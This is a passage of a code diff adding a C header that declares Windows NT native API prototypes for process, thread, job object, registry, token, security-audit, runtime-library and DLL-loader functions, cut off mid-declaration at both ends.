SYSTEM_POWER_STATE MinSystemState, +// IN ULONG Flags // POWER_ACTION_xxx flags +// ); + + + +// NTSTATUS +// NTAPI +// ZwGetDevicePowerState( +// IN HANDLE Device, +// OUT DEVICE_POWER_STATE *State +// ); + + + +NTSTATUS +NTAPI +ZwCancelDeviceWakeupRequest( + IN HANDLE Device + ); + + + +NTSTATUS +NTAPI +ZwRequestDeviceWakeup( + IN HANDLE Device + ); + + + +NTSTATUS +NTAPI +ZwCreateProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ParentProcess, + IN BOOLEAN InheritObjectTable, + IN OPTIONAL HANDLE SectionHandle, + IN OPTIONAL HANDLE DebugPort, + IN OPTIONAL HANDLE ExceptionPort + ); + + + +NTSTATUS +NTAPI +ZwCreateProcessEx ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ParentProcess, + IN ULONG Flags, + IN OPTIONAL HANDLE SectionHandle, + IN OPTIONAL HANDLE DebugPort, + IN OPTIONAL HANDLE ExceptionPort, + IN ULONG JobMemberLevel + ); + + + +NTSTATUS +NTAPI +ZwOpenProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PCLIENT_ID ClientId + ); + + + +NTSTATUS +NTAPI +ZwTerminateProcess ( + IN OPTIONAL HANDLE ProcessHandle, + IN NTSTATUS ExitStatus + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwGetNextProcess ( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Flags, + OUT PHANDLE NewProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwGetNextThread ( + IN HANDLE ProcessHandle, + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Flags, + OUT PHANDLE NewThreadHandle + ); + + + +NTSTATUS +NTAPI +ZwQueryPortInformationProcess ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwSetInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + IN PVOID ProcessInformation, + IN ULONG ProcessInformationLength + ); + + + +NTSTATUS +NTAPI +ZwCreateThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ProcessHandle, + OUT PCLIENT_ID ClientId, + IN PCONTEXT ThreadContext, + IN PINITIAL_TEB InitialTeb, + IN BOOLEAN CreateSuspended + ); + + + +NTSTATUS +NTAPI +ZwOpenThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PCLIENT_ID ClientId + ); + + + +NTSTATUS +NTAPI +ZwTerminateThread ( + IN OPTIONAL HANDLE ThreadHandle, + IN NTSTATUS ExitStatus + ); + + + +NTSTATUS +NTAPI +ZwSuspendThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + + +NTSTATUS +NTAPI +ZwResumeThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + + +NTSTATUS +NTAPI +ZwSuspendProcess ( + IN HANDLE ProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwResumeProcess ( + IN HANDLE ProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwGetContextThread ( + IN HANDLE ThreadHandle, + IN OUT PCONTEXT ThreadContext + ); + + + +NTSTATUS +NTAPI +ZwSetContextThread ( + IN HANDLE ThreadHandle, + IN PCONTEXT ThreadContext + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationThread ( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + OUT PVOID ThreadInformation, + IN ULONG ThreadInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationThread ( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + IN PVOID ThreadInformation, + IN ULONG ThreadInformationLength + ); + + + +NTSTATUS +NTAPI +ZwAlertThread ( + IN HANDLE ThreadHandle + ); + + + +NTSTATUS +NTAPI +ZwAlertResumeThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + + +NTSTATUS +NTAPI +ZwImpersonateThread ( + IN HANDLE ServerThreadHandle, + IN HANDLE ClientThreadHandle, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos + ); + + + +NTSTATUS +NTAPI +ZwTestAlert ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwRegisterThreadTerminatePort ( + IN HANDLE PortHandle + ); + + + +NTSTATUS +NTAPI +ZwSetLdtEntries ( + IN ULONG Selector0, + IN ULONG Entry0Low, + IN ULONG Entry0Hi, + IN ULONG Selector1, + IN ULONG Entry1Low, + IN ULONG Entry1Hi + ); + + + +NTSTATUS +NTAPI +ZwQueueApcThread ( + IN HANDLE ThreadHandle, + IN PPS_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcArgument1, + IN OPTIONAL PVOID ApcArgument2, + IN OPTIONAL PVOID ApcArgument3 + ); + + + +NTSTATUS +NTAPI +ZwCreateJobObject ( + OUT PHANDLE JobHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwOpenJobObject ( + OUT PHANDLE JobHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwAssignProcessToJobObject ( + IN HANDLE JobHandle, + IN HANDLE ProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwTerminateJobObject ( + IN HANDLE JobHandle, + IN NTSTATUS ExitStatus + ); + + + +NTSTATUS +NTAPI +ZwIsProcessInJob ( + IN HANDLE ProcessHandle, + IN OPTIONAL HANDLE JobHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateJobSet ( + IN ULONG NumJob, + IN PJOB_SET_ARRAY UserJobSet, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationJobObject ( + IN OPTIONAL HANDLE JobHandle, + IN JOBOBJECTINFOCLASS JobObjectInformationClass, + OUT PVOID JobObjectInformation, + IN ULONG JobObjectInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationJobObject ( + IN HANDLE JobHandle, + IN JOBOBJECTINFOCLASS JobObjectInformationClass, + IN PVOID JobObjectInformation, + IN ULONG JobObjectInformationLength + ); + + + +NTSTATUS +NTAPI +ZwCreateKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + ULONG TitleIndex, + IN OPTIONAL PUNICODE_STRING Class, + IN ULONG CreateOptions, + OUT OPTIONAL PULONG Disposition + ); + + + +NTSTATUS +NTAPI +ZwDeleteKey( + IN HANDLE KeyHandle + ); + + + +NTSTATUS +NTAPI +ZwDeleteValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName + ); + + + +NTSTATUS +NTAPI +ZwEnumerateKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT OPTIONAL PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwEnumerateValueKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT OPTIONAL PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwFlushKey( + IN HANDLE KeyHandle + ); + + + +NTSTATUS +NTAPI +ZwInitializeRegistry( + IN USHORT BootCondition + ); + + + +NTSTATUS +NTAPI +ZwNotifyChangeKey( + IN HANDLE KeyHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree, + OUT OPTIONAL PVOID Buffer, + IN ULONG BufferSize, + IN BOOLEAN Asynchronous + ); + + + +NTSTATUS +NTAPI +ZwNotifyChangeMultipleKeys( + IN HANDLE MasterKeyHandle, + IN OPTIONAL ULONG Count, + IN OPTIONAL OBJECT_ATTRIBUTES SlaveObjects[], + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree, + OUT OPTIONAL PVOID Buffer, + IN ULONG BufferSize, + IN BOOLEAN Asynchronous + ); + + + +NTSTATUS +NTAPI +ZwLoadKey( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile + ); + + + +NTSTATUS +NTAPI +ZwLoadKey2( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwLoadKeyEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile, + IN ULONG Flags, + IN OPTIONAL HANDLE TrustClassKey + ); + + + +NTSTATUS +NTAPI +ZwOpenKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryKey( + IN HANDLE KeyHandle, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT OPTIONAL PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwQueryValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT OPTIONAL PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwQueryMultipleValueKey( + IN HANDLE KeyHandle, + IN OUT PKEY_VALUE_ENTRY ValueEntries, + IN ULONG EntryCount, + OUT PVOID ValueBuffer, + IN OUT PULONG BufferLength, + OUT OPTIONAL PULONG RequiredBufferLength + ); + + + +NTSTATUS +NTAPI +ZwReplaceKey( + IN POBJECT_ATTRIBUTES NewFile, + IN HANDLE TargetHandle, + IN POBJECT_ATTRIBUTES OldFile + ); + + + +NTSTATUS +NTAPI +ZwRenameKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING NewName + ); + + + +NTSTATUS +NTAPI +ZwCompactKeys( + IN ULONG Count, + IN HANDLE KeyArray[] + ); + + + +NTSTATUS +NTAPI +ZwCompressKey( + IN HANDLE Key + ); + + + +NTSTATUS +NTAPI +ZwRestoreKey( + IN HANDLE KeyHandle, + IN HANDLE FileHandle, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwSaveKey( + IN HANDLE KeyHandle, + IN HANDLE FileHandle + ); + + + +NTSTATUS +NTAPI +ZwSaveKeyEx( + IN HANDLE KeyHandle, + IN HANDLE FileHandle, + IN ULONG Format + ); + + + +NTSTATUS +NTAPI +ZwSaveMergedKeys( + IN HANDLE HighPrecedenceKeyHandle, + IN HANDLE LowPrecedenceKeyHandle, + IN HANDLE FileHandle + ); + + + +NTSTATUS +NTAPI +ZwSetValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN OPTIONAL ULONG TitleIndex, + IN ULONG Type, + IN OPTIONAL PVOID Data, + IN ULONG DataSize + ); + + + +NTSTATUS +NTAPI +ZwUnloadKey( + IN POBJECT_ATTRIBUTES TargetKey + ); + + + +NTSTATUS +NTAPI +ZwUnloadKey2( + IN POBJECT_ATTRIBUTES TargetKey, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwUnloadKeyEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN OPTIONAL HANDLE Event + ); + + + +NTSTATUS +NTAPI +ZwSetInformationKey( + IN HANDLE KeyHandle, + IN KEY_SET_INFORMATION_CLASS KeySetInformationClass, + IN PVOID KeySetInformation, + IN ULONG KeySetInformationLength + ); + + + +NTSTATUS +NTAPI +ZwQueryOpenSubKeys( + IN POBJECT_ATTRIBUTES TargetKey, + OUT PULONG HandleCount + ); + + + +NTSTATUS +NTAPI +ZwQueryOpenSubKeysEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN ULONG BufferLength, + OUT PVOID Buffer, + OUT PULONG RequiredSize + ); + + + +NTSTATUS +NTAPI +ZwLockRegistryKey( + IN HANDLE KeyHandle + ); + + + +NTSTATUS +NTAPI +ZwLockProductActivationKeys( + IN OUT OPTIONAL ULONG *pPrivateVer, + OUT OPTIONAL ULONG *pSafeMode + ); + + + +NTSTATUS +NTAPI +ZwAccessCheck ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByType ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultList ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + + +NTSTATUS +NTAPI +ZwCreateToken( + OUT PHANDLE TokenHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN TOKEN_TYPE TokenType, + IN PLUID AuthenticationId, + IN PLARGE_INTEGER ExpirationTime, + IN PTOKEN_USER User, + IN PTOKEN_GROUPS Groups, + IN PTOKEN_PRIVILEGES Privileges, + IN OPTIONAL PTOKEN_OWNER Owner, + IN PTOKEN_PRIMARY_GROUP PrimaryGroup, + IN OPTIONAL PTOKEN_DEFAULT_DACL DefaultDacl, + IN PTOKEN_SOURCE TokenSource + ); + + + +NTSTATUS +NTAPI +ZwCompareTokens( + IN HANDLE FirstTokenHandle, + IN HANDLE SecondTokenHandle, + OUT PBOOLEAN Equal + ); + + + +NTSTATUS +NTAPI +ZwOpenThreadToken( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + OUT PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenThreadTokenEx( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + IN ULONG HandleAttributes, + OUT PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenProcessToken( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + OUT PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenProcessTokenEx( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + OUT PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwDuplicateToken( + IN HANDLE ExistingTokenHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN EffectiveOnly, + IN TOKEN_TYPE TokenType, + OUT PHANDLE NewTokenHandle + ); + + + +NTSTATUS +NTAPI +ZwFilterToken ( + IN HANDLE ExistingTokenHandle, + IN ULONG Flags, + IN OPTIONAL PTOKEN_GROUPS SidsToDisable, + IN OPTIONAL PTOKEN_PRIVILEGES PrivilegesToDelete, + IN OPTIONAL PTOKEN_GROUPS RestrictedSids, + OUT PHANDLE NewTokenHandle + ); + + + +NTSTATUS +NTAPI +ZwImpersonateAnonymousToken( + IN HANDLE ThreadHandle + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationToken ( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + OUT PVOID TokenInformation, + IN ULONG TokenInformationLength, + OUT PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationToken ( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + IN PVOID TokenInformation, + IN ULONG TokenInformationLength + ); + + + +NTSTATUS +NTAPI +ZwAdjustPrivilegesToken ( + IN HANDLE TokenHandle, + IN BOOLEAN DisableAllPrivileges, + IN OPTIONAL PTOKEN_PRIVILEGES NewState, + IN OPTIONAL ULONG BufferLength, + OUT PTOKEN_PRIVILEGES PreviousState, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwAdjustGroupsToken ( + IN HANDLE TokenHandle, + IN BOOLEAN ResetToDefault, + IN PTOKEN_GROUPS NewState , + IN OPTIONAL ULONG BufferLength , + OUT PTOKEN_GROUPS PreviousState , + OUT PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwPrivilegeCheck ( + IN HANDLE ClientToken, + IN OUT PPRIVILEGE_SET RequiredPrivileges, + OUT PBOOLEAN Result + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ACCESS_MASK DesiredAccess, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultListAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultListAndAuditAlarmByHandle ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN HANDLE ClientToken, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwOpenObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN OPTIONAL PSECURITY_DESCRIPTOR SecurityDescriptor, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN ACCESS_MASK GrantedAccess, + IN OPTIONAL PPRIVILEGE_SET Privileges, + IN BOOLEAN ObjectCreation, + IN BOOLEAN AccessGranted, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwPrivilegeObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN PPRIVILEGE_SET Privileges, + IN BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +ZwCloseObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwDeleteObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwPrivilegedServiceAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN PUNICODE_STRING ServiceName, + IN HANDLE ClientToken, + IN PPRIVILEGE_SET Privileges, + IN BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +ZwContinue ( + IN PCONTEXT ContextRecord, + IN BOOLEAN TestAlert + ); + + +NTSTATUS +NTAPI +ZwRaiseException ( + IN PEXCEPTION_RECORD ExceptionRecord, + IN PCONTEXT ContextRecord, + IN BOOLEAN FirstChance + ); + +// end_zwapi + +ULONG +DbgPrint( + IN PCH Format, + ... + ); + +VOID NTAPI +DebugService2 ( + PVOID Arg1, + PVOID Arg2, + ULONG Service + ); + + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerAdd ( + LARGE_INTEGER Addend1, + LARGE_INTEGER Addend2 + ); + +__inline +LARGE_INTEGER +NTAPI +RtlEnlargedIntegerMultiply ( + LONG Multiplicand, + LONG Multiplier + ); + +__inline +LARGE_INTEGER +NTAPI +RtlEnlargedUnsignedMultiply ( + ULONG Multiplicand, + ULONG Multiplier + ); + +__inline +ULONG +NTAPI +RtlEnlargedUnsignedDivide ( + IN ULARGE_INTEGER Dividend, + IN ULONG Divisor, + IN PULONG Remainder OPTIONAL + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerNegate ( + LARGE_INTEGER Subtrahend + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerSubtract ( + LARGE_INTEGER Minuend, + LARGE_INTEGER Subtrahend + ); + +LARGE_INTEGER +NTAPI +RtlExtendedMagicDivide ( + LARGE_INTEGER Dividend, + LARGE_INTEGER MagicDivisor, + CCHAR ShiftCount + ); + +LARGE_INTEGER +NTAPI +RtlExtendedLargeIntegerDivide ( + LARGE_INTEGER Dividend, + ULONG Divisor, + PULONG Remainder + ); + +LARGE_INTEGER +NTAPI +RtlLargeIntegerDivide ( + LARGE_INTEGER Dividend, + LARGE_INTEGER Divisor, + PLARGE_INTEGER Remainder + ); + +LARGE_INTEGER +NTAPI +RtlExtendedIntegerMultiply ( + LARGE_INTEGER Multiplicand, + LONG Multiplier + ); + +__inline +LARGE_INTEGER +NTAPI +RtlConvertLongToLargeInteger ( + LONG SignedInteger + ); + + +__inline +LARGE_INTEGER +NTAPI +RtlConvertUlongToLargeInteger ( + ULONG UnsignedInteger + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerShiftLeft ( + LARGE_INTEGER LargeInteger, + CCHAR ShiftCount + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerShiftRight ( + LARGE_INTEGER LargeInteger, + CCHAR ShiftCount + ); + + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerArithmeticShift ( + LARGE_INTEGER LargeInteger, + CCHAR ShiftCount + ); + + +__inline +BOOLEAN +NTAPI +RtlCheckBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitPosition + ); + + +BOOLEAN +NTAPI +RtlIsValidOemCharacter ( + IN OUT PWCHAR Char + ); + +PIMAGE_NT_HEADERS +NTAPI +RtlpImageNtHeader( + PVOID Base + ); + +RTL_PATH_TYPE +RtlDetermineDosPathNameType_U( + IN PCWSTR DosFileName + ); + +PRTL_TRACE_DATABASE +RtlTraceDatabaseCreate ( + IN ULONG Buckets, + IN SIZE_T MaximumSize OPTIONAL, + IN ULONG Flags, // OPTIONAL in User mode + IN ULONG Tag, // OPTIONAL in User mode + IN RTL_TRACE_HASH_FUNCTION HashFunction OPTIONAL + ); + +BOOLEAN +RtlTraceDatabaseValidate ( + IN PRTL_TRACE_DATABASE Database + ); + +BOOLEAN +RtlTraceDatabaseAdd ( + IN PRTL_TRACE_DATABASE Database, + IN ULONG Count, + IN PVOID * Trace, + OUT PRTL_TRACE_BLOCK * TraceBlock OPTIONAL + ); + +BOOLEAN +RtlTraceDatabaseFind ( + PRTL_TRACE_DATABASE Database, + IN ULONG Count, + IN PVOID * Trace, + OUT PRTL_TRACE_BLOCK * TraceBlock OPTIONAL + ); + +BOOLEAN +RtlTraceDatabaseEnumerate ( + PRTL_TRACE_DATABASE Database, + OUT PRTL_TRACE_ENUMERATE Enumerate, + OUT PRTL_TRACE_BLOCK * TraceBlock + ); + +VOID +RtlTraceDatabaseLock ( + IN PRTL_TRACE_DATABASE Database + ); + +VOID +RtlTraceDatabaseUnlock ( + IN PRTL_TRACE_DATABASE Database + ); + +VOID +RtlpGetStackLimits ( + OUT PULONG_PTR LowLimit, + OUT PULONG_PTR HighLimit + ); + +NTSTATUS +NTAPI +RtlEnterCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +RtlLeaveCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL +NTAPI +RtlIsCriticalSectionLocked ( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL +NTAPI +RtlIsCriticalSectionLockedByThread ( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +ULONG +NTAPI +RtlGetCriticalSectionRecursionCount ( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL +NTAPI +RtlTryEnterCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +RtlInitializeCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +VOID +NTAPI +RtlEnableEarlyCriticalSectionEventCreation( + VOID + ); + +NTSTATUS +NTAPI +RtlInitializeCriticalSectionAndSpinCount( + PRTL_CRITICAL_SECTION CriticalSection, + ULONG SpinCount + ); + +ULONG +NTAPI +RtlSetCriticalSectionSpinCount( + PRTL_CRITICAL_SECTION CriticalSection, + ULONG SpinCount + ); + +NTSTATUS +NTAPI +RtlDeleteCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +LdrDisableThreadCalloutsForDll ( + IN PVOID DllHandle + ); + +NTSTATUS +NTAPI +LdrLoadDll( + IN OPTIONAL PWSTR DllPath, + IN OPTIONAL PULONG DllCharacteristics, + IN PUNICODE_STRING DllName, + OUT PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrUnloadDll( + IN PVOID DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandle( + IN OPTIONAL PWSTR DllPath, + IN OPTIONAL PULONG DllCharacteristics, + IN PUNICODE_STRING DllName, + OUT PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandleEx( + IN ULONG Flags, + IN OPTIONAL PCWSTR DllPath, + IN OPTIONAL PULONG DllCharacteristics, + IN PUNICODE_STRING DllName, + OUT OPTIONAL PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandleByMapping( + IN PVOID Base, + OUT PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandleByName( + IN OPTIONAL PUNICODE_STRING BaseDllName, + IN OPTIONAL PUNICODE_STRING FullDllName, + OUT PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrAddRefDll( + IN 